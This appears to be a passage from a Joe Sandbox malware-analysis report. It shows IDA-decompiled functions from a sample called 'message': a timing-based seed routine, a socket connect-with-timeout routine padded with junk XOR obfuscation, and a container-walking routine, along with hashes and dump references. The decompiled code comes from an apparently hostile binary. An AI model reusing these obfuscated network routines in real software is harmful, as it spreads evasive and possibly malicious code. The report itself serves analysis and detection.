Opcode Fuzzy Hash: c67923648d0627a3e019e3e4bfa5385d88bc288047f0f5f504da8e189111f8be
Instruction Fuzzy Hash: 6C31A032F00229ABDF108FA4EE45EEE7B78EB04315F550076E901E3290D7759E41DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C1D0, Relevance: 6.0, APIs: 4, Instructions: 36
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E0040C1D0(signed int __edx) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t17;
				signed int _t19;
				signed int _t21;
				signed int _t23;
				signed int _t33;

				_t33 = __edx;
				_t17 = GetTickCount();
				_v16 = _t17;
				asm("rdtsc");
				_v16 = _v16 ^ _t17 ^ _t33;
				_t19 = GetTickCount();
				_v12 = _t19;
				asm("rdtsc");
				_v12 = _v12 ^ _t19 ^ _t33;
				_t21 = GetTickCount();
				_v8 = _t21;
				asm("rdtsc");
				_v8 = _v8 ^ _t21 ^ _t33;
				_t23 = GetTickCount();
				_v4 = _t23;
				asm("rdtsc");
				_v4 = _v4 ^ _t23 ^ _t33;
				return ((_v16 << 0x00000008 ^ _v12) << 0x00000008 ^ _v8) << 0x00000008 ^ _v4;
			}

0x0040c1d0
0x0040c1da
0x0040c1dc
0x0040c1e0
0x0040c1e4
0x0040c1e8
0x0040c1ea
0x0040c1ee
0x0040c1f2
0x0040c1f6
0x0040c1f8
0x0040c1fc
0x0040c200
0x0040c204
0x0040c206
0x0040c20a
0x0040c20e
0x0040c235

APIs

GetTickCount.KERNEL32 ref: 0040C1DA
GetTickCount.KERNEL32 ref: 0040C1E8
GetTickCount.KERNEL32 ref: 0040C1F6
GetTickCount.KERNEL32 ref: 0040C204

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: 6c9193b7122c9ada05db2bf893685bdb1e040ed9adec1d3d207f007b4c2f18bb
Instruction ID: 8ac1f8066ba04423f4662e4113d208e2f1450d097528ad0d5c8686e1bb647505
Opcode Fuzzy Hash: 6c9193b7122c9ada05db2bf893685bdb1e040ed9adec1d3d207f007b4c2f18bb
Instruction Fuzzy Hash: 56F0A9319283B19F9704EF39C94518BBBE5EBC4250F54CD2EA895C3214E378D915DF92

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD00, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 246
COMMONCrypto

Download Yara Rule

C-Code - Quality: 24%

			E0041BD00(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp, void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v28;
				intOrPtr _v36;
				struct _SECURITY_ATTRIBUTES* _v44;
				struct _SECURITY_ATTRIBUTES* _v48;
				struct _SECURITY_ATTRIBUTES* _v52;
				short _v56;
				short _v58;
				char _v60;
				void* _v92;
				intOrPtr _v96;
				struct _SECURITY_ATTRIBUTES* _v112;
				intOrPtr _v124;
				void _v132;
				int _v140;
				void* _v148;
				int _v152;
				intOrPtr _t38;
				intOrPtr _t40;
				void* _t41;
				signed char _t51;
				short _t55;
				intOrPtr _t58;
				signed char _t59;
				int _t62;
				intOrPtr _t66;
				signed char _t67;
				signed char _t69;
				signed char _t72;
				signed char _t82;
				signed char _t83;
				signed int _t87;
				signed char _t89;
				signed int _t95;
				signed int _t97;
				signed int _t100;
				signed int _t106;
				signed char _t110;
				signed char _t113;
				signed char _t114;
				signed int _t120;
				signed char _t123;
				signed char _t125;
				signed char _t128;
				signed char _t131;
				signed char _t136;
				signed char _t138;
				signed int _t140;
				signed char _t142;
				signed int _t148;
				signed char _t150;
				void* _t154;
				signed int _t155;
				signed int _t162;
				void* _t168;

				_t38 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t38;
				_t166 = __ecx;
				E0041BA60();
				_t40 =  *0x431ed0(2, 1, 0, 0, 0, 1);
				 *((intOrPtr*)(__ecx + 4)) = _t40;
				if(_t40 != 0xffffffff) {
					_t82 = 0x4b;
					_t168 = 0x4a;
					_v96 = 0;
					_t41 =  *0x431ed8(__edi, __ebp, __ebx);
					_t95 =  *0x431e7c; // 0x2e0042
					_t154 = _t41;
					_v92 = _t154;
					 *0x431e7c = _t95 ^ 0x00007dcf;
					if(_t154 != 0) {
						_push(0x10);
						_push(_t154);
						_push( *((intOrPtr*)(__ecx + 4)));
						if( *0x431edc() != 0xffffffff) {
							_t106 =  *0x431e84; // 0x23a00043
							_t87 =  *0x431e7c; // 0x2e0042
							_v56 = 0;
							_v52 = 0;
							_v48 = 0;
							_v44 = 0;
							_v56 = 2;
							 *0x431e7c = _t87 & _t106 * 0 & 0x00000049;
							_t55 =  *0x431eac(_v28);
							_t110 =  *0x431e80; // 0x0
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_t82 = 0x41;
							_v58 = _t55;
							_push(0x10);
							 *0x431e80 = _t110 ^ 0x00000041;
							_push( &_v60);
							_push( *((intOrPtr*)(__ecx + 4)));
							_v56 = _v36;
							_t168 = 0x4a;
							if( *0x431ee0() != 0xffffffff) {
								_v140 = 1;
							} else {
								_t136 =  *0x431e84; // 0x43
								 *0x431e78 = _t136 ^ 0x00000048;
								 *0x431e7c =  *0x431e7c ^ 0x00006970;
								_t58 =  *0x431ed4();
								 *((intOrPtr*)(__ecx + 0x1c)) = _t58;
								if(_t58 == 0x2733 || _t58 == 0x2747) {
									_t113 =  *0x431e80; // 0x0
									_t59 =  *0x431e84; // 0x43
									_t114 =  *0x431e78; // 0x42
									 *0x431e80 = _t59 & _t113 | 0x00000079;
									 *0x431e7c = 0x2c;
									 *0x431e78 = _t114 & 0x0000006e;
									_t168 = 0x12ca;
									_t62 = WaitForSingleObject(_t154,  *(_t166 + 0x20));
									if(_t62 == 0) {
										_t138 =  *0x431e80; // 0x0
										 *0x431e84 =  *0x431e84 ^ 0x0000ed47;
										 *0x431e80 = _t138 ^ 0x0000004a;
										_t140 =  *0x431e7c; // 0x2e0042
										memset( &_v132, _t62, 0xb << 2);
										 *0x431e78 = 0x41;
										 *0x431e7c = _t140 * 0x20cd;
										 *0x431ee4( *((intOrPtr*)(_t166 + 4)), 0,  &_v132);
										_t142 =  *0x431e84; // 0x43
										_t66 = _v124;
										 *0x431e80 = _t142 ^ 0x00000048;
										 *((intOrPtr*)(_t166 + 0x1c)) = _t66;
										if(_t66 == 0) {
											_v152 = 1;
										}
										_t67 =  *0x431e78; // 0x42
										_t120 =  *0x431e84; // 0x23a00043
										_t162 =  *0x431e7c; // 0x2e0042
										_t89 =  *0x431e80; // 0x0
										_t168 = 0x4a;
										 *0x431e7c = _t162 & _t120 * 0 & 0x00000049;
										_t154 = _v148;
										_t82 = _t89 & 0x000000ba | _t67 | 0x00000038;
									}
								}
							}
						}
						 *0x431ee8(_t154);
						_t97 =  *0x431e7c; // 0x2e0042
						_t131 =  *0x431e78; // 0x42
						_t155 = _t82 & 0x000000ff;
						_t83 =  *0x431e80; // 0x0
						 *0x431e7c = _t97 + _t155;
						 *0x431e80 = _t83 | 0x00000006;
						 *0x431e84 = 0xf;
						 *0x431e78 = _t131 | 0x0000008a;
						if(_v112 != 0) {
							 *((intOrPtr*)(_t166 + 0x18)) = CreateEventA(0, 1, 1, 0);
							_t100 =  *0x431e7c; // 0x2e0042
							 *0x431e7c = _t100 & (_t155 + _t168) * 0 & 0x00000049;
							if( *((intOrPtr*)(_t166 + 0x18)) == 0) {
								_t51 =  *0x431e78; // 0x42
								 *0x431e84 =  *0x431e84 ^ 0x00000041;
								 *0x431e80 = _t51 ^ 0x00000048;
								_v112 = 0;
								 *0x431e7c = 0;
								 *0x431e78 = _t51 ^ 0x0000001e;
								goto L17;
							}
						} else {
							 *0x431e78 = 0x41;
							 *0x431e84 = 0xf;
							L17:
							E0041BA60();
						}
						return E00424873(_v112, _v44);
					} else {
						_t123 =  *0x431e78; // 0x42
						_t69 = _t123 ^ 0x00000048;
						 *0x431e80 = _t69;
						 *0x431e84 = 0x5a;
						 *0x431e7c = 0x46 - (_t123 & 0x000000ff);
						 *((intOrPtr*)(__ecx + 0x1c)) =  *0x431ed4();
						_t125 =  *0x431e78; // 0x42
						_t72 =  *0x431e84; // 0x43
						_t148 =  *0x431e7c; // 0x2e0042
						 *0x431e78 = _t72 & _t125 | 0x0000007a;
						 *0x431e7c = _t148 - ((_t69 | 0x0000007a) & 0x000000ff);
						E0041BA60();
						_t128 =  *0x431e80; // 0x0
						_t150 =  *0x431e78; // 0x42
						 *0x431e84 = 0xf;
						 *0x431e80 = _t150 & _t128 | 0x0000007a;
						return E00424873(0, _v28);
					}
				} else {
					 *((intOrPtr*)(__ecx + 0x1c)) =  *0x431ed4();
					return E00424873(0, _v28);
				}
			}

0x0041bd03
0x0041bd09
0x0041bd0d
0x0041bd0f
0x0041bd20
0x0041bd29
0x0041bd2c
0x0041bd4c
0x0041bd4e
0x0041bd53
0x0041bd5b
0x0041bd61
0x0041bd67
0x0041bd71
0x0041bd75
0x0041bd7b
0x0041be1a
0x0041be1c
0x0041be1d
0x0041be27
0x0041be2d
0x0041be33
0x0041be43
0x0041be47
0x0041be4b
0x0041be4f
0x0041be53
0x0041be67
0x0041be6d
0x0041be73
0x0041be7d
0x0041be7f
0x0041be81
0x0041be83
0x0041be85
0x0041be89
0x0041be8e
0x0041be94
0x0041be9d
0x0041be9e
0x0041be9f
0x0041bea3
0x0041beb1
0x0041bfdb
0x0041beb7
0x0041beb7
0x0041bec0
0x0041bec6
0x0041bed0
0x0041bedb
0x0041bede
0x0041beeb
0x0041bef1
0x0041bef8
0x0041bf03
0x0041bf08
0x0041bf12
0x0041bf1d
0x0041bf22
0x0041bf2a
0x0041bf30
0x0041bf36
0x0041bf42
0x0041bf48
0x0041bf5d
0x0041bf64
0x0041bf6b
0x0041bf77
0x0041bf7d
0x0041bf83
0x0041bf8c
0x0041bf92
0x0041bf95
0x0041bf97
0x0041bf97
0x0041bf9f
0x0041bfa4
0x0041bfaa
0x0041bfb0
0x0041bfbf
0x0041bfcc
0x0041bfd2
0x0041bfd6
0x0041bfd6
0x0041bf2a
0x0041bede
0x0041beb1
0x0041bfe4
0x0041bfea
0x0041bff0
0x0041bff6
0x0041bff9
0x0041c004
0x0041c00e
0x0041c020
0x0041c026
0x0041c02c
0x0041c049
0x0041c04c
0x0041c063
0x0041c06c
0x0041c06e
0x0041c073
0x0041c082
0x0041c088
0x0041c08c
0x0041c092
0x00000000
0x0041c092
0x0041c02e
0x0041c02e
0x0041c035
0x0041c097
0x0041c099
0x0041c099
0x0041c0b2
0x0041bd81
0x0041bd81
0x0041bd89
0x0041bd8e
0x0041bd9c
0x0041bda5
0x0041bdb3
0x0041bdb6
0x0041bdbc
0x0041bdc1
0x0041bdd2
0x0041bdd7
0x0041bddd
0x0041bde2
0x0041bde8
0x0041bdf6
0x0041bdff
0x0041be14
0x0041be14
0x0041bd2e
0x0041bd34
0x0041bd46
0x0041bd46

Strings

G@,, xrefs: 0041BD03

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: G@,
API String ID: 0-3496681718
Opcode ID: 1dbbee3704f12433d065c0b315258c4b07da05294b99e7abcb0b3c4fa3fe7de6
Instruction ID: 8b5a2351a7d1e8d8b8448e22e26b40c83a0be625b2b6ea0dbd06899092a7e69e
Opcode Fuzzy Hash: 1dbbee3704f12433d065c0b315258c4b07da05294b99e7abcb0b3c4fa3fe7de6
Instruction Fuzzy Hash: 74A16E762043808FE314CF35EC927967BE6ABA9700F14652EE995873B1D3F78448CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041B3D0, Relevance: 4.2, Strings: 3, Instructions: 470
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E0041B3D0(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t185;
				intOrPtr _t186;
				void* _t188;
				intOrPtr* _t189;
				signed int _t192;
				intOrPtr _t196;
				signed int _t201;
				signed int _t202;
				signed int _t203;
				signed int _t205;
				signed int _t219;
				intOrPtr* _t225;
				intOrPtr _t228;
				intOrPtr* _t231;
				signed int _t234;
				signed char _t238;
				intOrPtr _t242;
				signed int _t243;
				signed int _t244;
				signed char _t248;
				signed int _t250;
				signed int _t251;
				signed char _t255;
				signed char _t256;
				signed int _t259;
				signed int _t263;
				signed int _t264;
				signed char _t267;
				signed int _t271;
				signed char _t291;
				void* _t294;
				signed char _t296;
				signed int _t298;
				signed int _t301;
				signed char _t307;
				signed char _t309;
				signed char _t310;
				intOrPtr* _t330;
				intOrPtr* _t331;
				intOrPtr* _t332;
				signed int _t339;
				signed char _t343;
				signed char _t356;
				signed int _t372;
				intOrPtr* _t374;
				signed char _t376;
				signed int _t410;
				signed int _t413;
				void* _t414;
				void* _t415;
				void* _t416;
				signed int _t418;
				intOrPtr _t420;
				signed int _t421;
				void* _t425;
				intOrPtr _t427;
				void* _t428;
				void* _t429;
				void* _t430;

				_t415 = __esi;
				_push(0xffffffff);
				_push(E0042D518);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t427;
				_t428 = _t427 - 0x48;
				_t185 =  *0x4310d8; // 0x2c0d4047
				_push(__ebx);
				_push(__edi);
				_t410 = 0;
				 *((intOrPtr*)(_t428 + 0x50)) = _t185;
				_t425 = __ecx;
				 *((intOrPtr*)(_t428 + 0x4c)) = 0xf;
				 *((intOrPtr*)(_t428 + 0x48)) = 0;
				 *((char*)(_t428 + 0x38)) = 0;
				_t186 =  *((intOrPtr*)(_t428 + 0x64));
				 *((intOrPtr*)(_t428 + 0x5c)) = 0;
				if( *((intOrPtr*)(_t186 + 0x50)) < 0x10) {
					_t187 = _t186 + 0x3c;
					__eflags = _t186 + 0x3c;
				} else {
					_t187 =  *(_t186 + 0x3c);
				}
				_t188 = E00425500(_t187, 0x40);
				_t429 = _t428 + 8;
				if(_t188 != _t410) {
					_t14 = _t188 + 1; // 0x1
					_t363 = _t14;
					_t189 = _t14;
					_push(_t415);
					_t15 = _t189 + 1; // 0x2
					_t416 = _t15;
					do {
						_t301 =  *_t189;
						_t189 = _t189 + 1;
						__eflags = _t301;
					} while (_t301 != 0);
					E004028A0(_t429 + 0x40, _t363, _t189 - _t416);
					__eflags =  *((intOrPtr*)(_t429 + 0x4c)) - _t410;
					if( *((intOrPtr*)(_t429 + 0x4c)) != _t410) {
						_t192 = E00407880();
						 *(_t429 + 0x18) = _t192;
						 *((char*)(_t192 + 0x2d)) = 1;
						 *( *(_t429 + 0x18) + 4) =  *(_t429 + 0x18);
						 *( *(_t429 + 0x18)) =  *(_t429 + 0x18);
						 *( *(_t429 + 0x18) + 8) =  *(_t429 + 0x18);
						 *(_t429 + 0x1c) = _t410;
						 *((char*)(_t429 + 0x60)) = 1;
						_t196 = E00407880();
						 *((intOrPtr*)(_t429 + 0x28)) = _t196;
						 *((char*)(_t196 + 0x2d)) = 1;
						 *((intOrPtr*)( *((intOrPtr*)(_t429 + 0x28)) + 4)) =  *((intOrPtr*)(_t429 + 0x28));
						 *((intOrPtr*)( *((intOrPtr*)(_t429 + 0x28)))) =  *((intOrPtr*)(_t429 + 0x28));
						 *((intOrPtr*)( *((intOrPtr*)(_t429 + 0x28)) + 8)) =  *((intOrPtr*)(_t429 + 0x28));
						 *(_t429 + 0x2c) = _t410;
						__eflags =  *((intOrPtr*)(_t429 + 0x50)) - 0x10;
						_t201 =  *((intOrPtr*)(_t429 + 0x3c));
						 *((char*)(_t429 + 0x60)) = 2;
						_t291 = 0x23;
						 *(_t429 + 0x10) = 0x4d;
						if( *((intOrPtr*)(_t429 + 0x50)) < 0x10) {
							_t201 = _t429 + 0x3c;
						}
						_t202 = E00404110( *((intOrPtr*)(_t425 + 0x2c)), _t201, _t429 + 0x14);
						__eflags = _t202;
						if(_t202 != 0) {
							_t203 =  *0x431e74; // 0x0
							_t418 =  *0x431e6c; // 0x10000
							_t307 =  *0x431e68; // 0x42
							_t205 =  *(_t429 + 0x18);
							_t309 = _t307 - _t203 * 0x0000004d ^ 0x00000041;
							 *0x431e68 = _t309;
							 *0x431e6c = _t418 - 0x23;
							_t420 =  *_t205;
							__eflags = _t420 - _t205;
							 *((intOrPtr*)(_t429 + 0x20)) = _t420;
							if(_t420 != _t205) {
								do {
									_t376 =  *(_t429 + 0x10);
									_t234 =  *0x431e6c; // 0x0
									_t238 =  *0x431e70; // 0x0
									 *0x431e74 = 8;
									 *0x431e70 = _t238 - _t309 * (_t234 * _t376 >> 0x00000020) ^ 0x00000041;
									_t296 = _t291 - _t234 * _t376 ^ 0x00000041;
									__eflags =  *((intOrPtr*)(_t420 + 0x28)) - 0x10;
									if( *((intOrPtr*)(_t420 + 0x28)) < 0x10) {
										_t79 = _t420 + 0x14; // 0xfff1
										_t242 = _t79;
									} else {
										_t242 =  *((intOrPtr*)(_t420 + 0x14));
									}
									_t81 = _t420 + 0xc; // 0xffe9
									_t414 = _t81;
									_t243 = E0041AEF0(_t296, _t425, _t414, _t425, _t242,  *((intOrPtr*)(_t420 + 0xc)), 0x2bf20);
									__eflags = _t243;
									if(_t243 == 0) {
										_t244 =  *0x431e74; // 0x0
										 *(_t429 + 0x10) = (_t296 & 0x000000ff) *  *(_t429 + 0x10);
										_t248 =  *0x431e68; // 0x42
										 *0x431e70 = (_t244 * _t296 >> 0x00000020) - _t244 * _t296 ^ 0x00000041;
										 *0x431e6c = 0x6f;
										 *0x431e68 = _t248 & 0x0000006e;
										_t250 = E0041B010(_t296, _t425, _t414, _t420, _t425,  *((intOrPtr*)(_t429 + 0x68)));
										__eflags = _t250;
										if(_t250 == 0) {
											_t251 =  *0x431e68; // 0x42
											 *0x431e6c = (_t251 *  *0x431e70 >> 0x20) *  *0x431e6c +  *0x431e74 + 0x5b;
											_t291 = _t296 - _t251 *  *0x431e70 ^ 0x00000041;
											__eflags =  *((intOrPtr*)(_t425 + 4)) - 0xffffffff;
											if(__eflags != 0) {
												E0041AE80(_t425, _t420, __eflags);
												E0041BA60();
											}
											_t125 = (_t291 & 0x000000ff) + 0x4d; // 0x4d
											 *(_t429 + 0x10) = _t125;
											_t339 =  *0x431e6c; // 0x10000
											_t255 =  *0x431e70; // 0x0
											_t256 = _t255 | 0x00000006;
											__eflags = _t256;
											 *0x431e6c = _t339 + (_t291 & 0x000000ff);
											_t309 =  *0x431e68; // 0x42
											 *0x431e74 = 8;
											 *0x431e70 = _t256;
										} else {
											_t343 =  *0x431e70; // 0x0
											_t298 =  *(_t429 + 0x10);
											 *0x431e70 = _t343 ^ 0x0000004a;
											 *0x431e68 = 3;
											 *0x431e74 = (_t296 & 0x000000ff) *  *0x431e74 * _t298 | 0x00000024;
											_t345 =  *(_t425 + 0x30);
											__eflags =  *(_t425 + 0x30);
											if( *(_t425 + 0x30) != 0) {
												E0041A9C0(_t345, _t250,  *((intOrPtr*)(_t425 + 0x24)),  *((intOrPtr*)(_t425 + 0x28)));
											}
											_t259 = _t298;
											_t291 = _t259 * 0x33;
											_push(_t414);
											 *0x431e6c = _t259 * 0x33 >> 0x20;
											E004031F0(_t429 + 0x34);
											_t263 =  *0x431e74; // 0x0
											_t264 = _t263 * 0x33;
											__eflags = _t264;
											 *0x431e70 = _t264;
											goto L37;
										}
									} else {
										 *0x431e6c = ( *0x431e68 & 0x000000ff) *  *0x431e6c +  *0x431e74 + 0x5b;
										_t351 =  *(_t425 + 0x30);
										__eflags =  *(_t425 + 0x30);
										if( *(_t425 + 0x30) != 0) {
											E0041A9C0(_t351, _t243,  *((intOrPtr*)(_t425 + 0x24)),  *((intOrPtr*)(_t425 + 0x28)));
										}
										_t267 =  *0x431e70; // 0x0
										_t291 = 3;
										 *0x431e70 = _t267 ^ 0x00000003;
										_push(_t414);
										 *(_t429 + 0x18) = 0x4d;
										E004031F0(_t429 + 0x34);
										_t271 =  *0x431e74; // 0x0
										 *0x431e68 = _t271 * 0x33;
										 *0x431e6c =  *0x431e6c ^ 0x00006970;
										goto L37;
									}
									L42:
									_t410 = 0;
									__eflags = 0;
									goto L43;
									L37:
									E00402030(_t429 + 0x20);
									_t420 =  *((intOrPtr*)(_t429 + 0x20));
									__eflags = _t420 -  *(_t429 + 0x18);
									_t309 =  *0x431e68; // 0x42
								} while (_t420 !=  *(_t429 + 0x18));
								goto L42;
							}
							L43:
							_t310 = _t309 | 0x0000008a;
							__eflags =  *(_t429 + 0x2c) - _t410;
							if( *(_t429 + 0x2c) != _t410) {
								_t372 =  *0x431e6c; // 0x10000
								_t225 =  *((intOrPtr*)(_t429 + 0x28));
								 *0x431e68 = 3;
								 *0x431e74 = 8;
								_t420 =  *_t225;
								_t413 = _t372 +  *(_t429 + 0x10) & ( *0x431e70 & 0x000000ff) + 0x00000036;
								__eflags = _t420 - _t225;
								 *((intOrPtr*)(_t429 + 0x20)) = _t420;
								if(_t420 != _t225) {
									do {
										_t294 = E0041B370(_t429 + 0x18, _t420 + 0xc);
										_t231 = E0041B310(_t429 + 0x18, _t420 + 0xc);
										__eflags = _t231 - _t294;
										_t374 = _t231;
										if(_t231 != _t294) {
											do {
												__eflags =  *(_t374 + 0x2d);
												if( *(_t374 + 0x2d) == 0) {
													_t330 =  *((intOrPtr*)(_t374 + 8));
													__eflags =  *((char*)(_t330 + 0x2d));
													if( *((char*)(_t330 + 0x2d)) != 0) {
														_t331 =  *((intOrPtr*)(_t374 + 4));
														__eflags =  *((char*)(_t331 + 0x2d));
														if( *((char*)(_t331 + 0x2d)) == 0) {
															while(1) {
																__eflags = _t374 -  *((intOrPtr*)(_t331 + 8));
																if(_t374 !=  *((intOrPtr*)(_t331 + 8))) {
																	goto L57;
																}
																_t374 = _t331;
																_t331 =  *((intOrPtr*)(_t331 + 4));
																__eflags =  *((char*)(_t331 + 0x2d));
																if( *((char*)(_t331 + 0x2d)) == 0) {
																	continue;
																}
																goto L57;
															}
														}
														L57:
														_t374 = _t331;
													} else {
														_t374 = _t330;
														_t332 =  *_t374;
														__eflags =  *((char*)(_t332 + 0x2d));
														while( *((char*)(_t332 + 0x2d)) == 0) {
															_t374 = _t332;
															_t332 =  *_t374;
															__eflags =  *((char*)(_t332 + 0x2d));
														}
													}
												}
												__eflags = _t374 - _t294;
											} while (_t374 != _t294);
										}
										E004032F0(_t429 + 0x20, _t429 + 0x70, _t231, _t294);
										E00402030(_t429 + 0x20);
										_t420 =  *((intOrPtr*)(_t429 + 0x20));
										__eflags = _t420 -  *((intOrPtr*)(_t429 + 0x28));
									} while (_t420 !=  *((intOrPtr*)(_t429 + 0x28)));
								}
								_t150 = _t413 + 0x5b; // 0x5b
								__eflags =  *((intOrPtr*)(_t429 + 0x50)) - 0x10;
								_t228 =  *((intOrPtr*)(_t429 + 0x3c));
								_t291 = 3;
								 *0x431e6c = ( *0x431e70 & 0x000000ff) *  *0x431e6c + _t150;
								if( *((intOrPtr*)(_t429 + 0x50)) < 0x10) {
									_t228 = _t429 + 0x3c;
								}
								E004045D0( *((intOrPtr*)(_t425 + 0x2c)), _t228, _t429 + 0x14);
								_t310 =  *0x431e68; // 0x42
								_t410 = 0;
								__eflags = 0;
							}
							 *0x431e70 = _t310 * 0x33;
							 *0x431e74 =  *0x431e74 ^ _t291 & 0x000000ff;
							__eflags = _t420 -  *(_t429 + 0x18);
							 *0x431e6c = _t410;
							 *0x431e68 = _t310 ^ 0x0000001e;
							_t312 =  *(_t425 + 0x30);
							__eflags =  *(_t425 + 0x30) - _t410;
							_t421 = 0 | _t420 ==  *(_t429 + 0x18);
							if( *(_t425 + 0x30) != _t410) {
								E0041A9C0(_t312, _t421,  *((intOrPtr*)(_t425 + 0x24)),  *((intOrPtr*)(_t425 + 0x28)));
							}
							 *((char*)(_t429 + 0x6c)) = 1;
							E004032F0(_t429 + 0x30, _t429 + 0x70,  *((intOrPtr*)( *((intOrPtr*)(_t429 + 0x28)))),  *((intOrPtr*)(_t429 + 0x28)));
							_push( *((intOrPtr*)(_t429 + 0x28)));
							L00424BCD();
							_t430 = _t429 + 4;
							 *(_t430 + 0x28) = _t410;
							 *(_t430 + 0x2c) = _t410;
							 *((char*)(_t430 + 0x6c)) = 0;
							E004032F0(_t430 + 0x20, _t430 + 0x70,  *( *(_t429 + 0x1c)),  *(_t429 + 0x1c));
							_push( *((intOrPtr*)(_t430 + 0x18)));
							L00424BCD();
							_t429 = _t430 + 4;
							__eflags =  *((intOrPtr*)(_t430 + 0x54)) - 0x10;
							 *(_t429 + 0x18) = _t410;
							 *(_t429 + 0x1c) = _t410;
							if( *((intOrPtr*)(_t430 + 0x54)) >= 0x10) {
								_push( *((intOrPtr*)(_t429 + 0x3c)));
								L00424BCD();
								_t429 = _t429 + 4;
							}
							_t219 = _t421;
						} else {
							 *0x431e6c =  *0x431e6c ^ 0x00007dcf;
							_t354 =  *(_t425 + 0x30);
							__eflags =  *(_t425 + 0x30) - _t410;
							if( *(_t425 + 0x30) != _t410) {
								E0041A9C0(_t354, 4,  *((intOrPtr*)(_t425 + 0x24)),  *((intOrPtr*)(_t425 + 0x28)));
							}
							_t356 =  *0x431e68; // 0x42
							 *0x431e6c = 0;
							 *0x431e70 = _t356 * 0x33;
							 *0x431e74 = 0x5c;
							 *((char*)(_t429 + 0x60)) = 1;
							E00403500();
							 *((char*)(_t429 + 0x60)) = 0;
							E00403500();
							__eflags =  *((intOrPtr*)(_t429 + 0x50)) - 0x10;
							if( *((intOrPtr*)(_t429 + 0x50)) >= 0x10) {
								_push( *((intOrPtr*)(_t429 + 0x3c)));
								L00424BCD();
								_t429 = _t429 + 4;
							}
							_t219 = 4;
						}
					} else {
						_t360 =  *(_t425 + 0x30);
						__eflags =  *(_t425 + 0x30) - _t410;
						if( *(_t425 + 0x30) != _t410) {
							E0041A9C0(_t360, 2,  *((intOrPtr*)(_t425 + 0x24)),  *((intOrPtr*)(_t425 + 0x28)));
						}
						__eflags =  *((intOrPtr*)(_t429 + 0x50)) - 0x10;
						if( *((intOrPtr*)(_t429 + 0x50)) >= 0x10) {
							_push( *((intOrPtr*)(_t429 + 0x3c)));
							L00424BCD();
							_t429 = _t429 + 4;
						}
						_t219 = 2;
					}
				} else {
					_t362 =  *(_t425 + 0x30);
					if( *(_t425 + 0x30) != _t410) {
						E0041A9C0(_t362, 2,  *((intOrPtr*)(_t425 + 0x24)),  *((intOrPtr*)(_t425 + 0x28)));
					}
					if( *((intOrPtr*)(_t429 + 0x4c)) >= 0x10) {
						_push( *((intOrPtr*)(_t429 + 0x38)));
						L00424BCD();
						_t429 = _t429 + 4;
					}
					_t219 = 2;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t429 + 0x54));
				return E00424873(_t219,  *((intOrPtr*)(_t429 + 0x48)));
			}

0x0041b3d0
0x0041b3d0
0x0041b3d2
0x0041b3dd
0x0041b3de
0x0041b3e5
0x0041b3e8
0x0041b3ed
0x0041b3ef
0x0041b3f0
0x0041b3f2
0x0041b3f6
0x0041b3f8
0x0041b400
0x0041b404
0x0041b409
0x0041b417
0x0041b41b
0x0041b422
0x0041b422
0x0041b41d
0x0041b41d
0x0041b41d
0x0041b428
0x0041b42d
0x0041b432
0x0041b467
0x0041b467
0x0041b46a
0x0041b46c
0x0041b46d
0x0041b46d
0x0041b470
0x0041b470
0x0041b472
0x0041b473
0x0041b473
0x0041b47f
0x0041b484
0x0041b488
0x0041b4c1
0x0041b4c6
0x0041b4ca
0x0041b4d2
0x0041b4d9
0x0041b4df
0x0041b4e2
0x0041b4ea
0x0041b4ef
0x0041b4f4
0x0041b4f8
0x0041b500
0x0041b507
0x0041b50d
0x0041b510
0x0041b51d
0x0041b51f
0x0041b523
0x0041b528
0x0041b52a
0x0041b532
0x0041b534
0x0041b534
0x0041b541
0x0041b546
0x0041b548
0x0041b5c8
0x0041b5cd
0x0041b5d7
0x0041b5df
0x0041b5e6
0x0041b5e9
0x0041b5ef
0x0041b5f5
0x0041b5f7
0x0041b5f9
0x0041b5fd
0x0041b603
0x0041b603
0x0041b607
0x0041b616
0x0041b61f
0x0041b628
0x0041b630
0x0041b633
0x0041b636
0x0041b63d
0x0041b63d
0x0041b638
0x0041b638
0x0041b638
0x0041b643
0x0041b643
0x0041b64f
0x0041b654
0x0041b656
0x0041b6ce
0x0041b6e9
0x0041b6ed
0x0041b6fa
0x0041b700
0x0041b70a
0x0041b70f
0x0041b714
0x0041b716
0x0041b7b9
0x0041b7db
0x0041b7e4
0x0041b7e7
0x0041b7ea
0x0041b7ee
0x0041b7f5
0x0041b7f5
0x0041b7fd
0x0041b800
0x0041b804
0x0041b80c
0x0041b811
0x0041b811
0x0041b813
0x0041b819
0x0041b81f
0x0041b828
0x0041b71c
0x0041b71c
0x0041b726
0x0041b72d
0x0041b733
0x0041b747
0x0041b74e
0x0041b751
0x0041b753
0x0041b75e
0x0041b75e
0x0041b769
0x0041b775
0x0041b777
0x0041b781
0x0041b787
